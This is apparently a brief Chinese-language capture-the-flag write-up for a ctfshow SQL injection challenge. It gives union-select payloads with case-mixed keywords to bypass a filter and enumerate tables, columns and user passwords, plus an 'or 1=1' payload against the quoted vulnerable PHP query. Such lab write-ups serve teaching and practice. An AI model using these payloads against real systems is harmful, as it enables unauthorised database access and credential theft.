image-20260120092645279

1.是个有过滤的sql注入,过滤了啥没有展示,经过测试,可以大小写绕过

image-20260120093132491

接下来直接梭哈

1
查表:0' Union Select 1,2,group_concat(table_name)from information_schema.tables where database()=table_schema--+
1
查列:0' Union Select 1,2,group_concat(column_name)from information_schema.columns where database()=table_schema--+
1
查数据:0' Union Select 1,2,group_concat(id,password)from ctfshow_user--+

第二种方法:我们仔细观察查询语句,发现是可以用万能密码的,and比or的优先级高,只要or后面为真,那and是什么都不影响

1
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
1
payload:1' or 1=1--+

image-20260120094036174

直接把所有数据都列出来了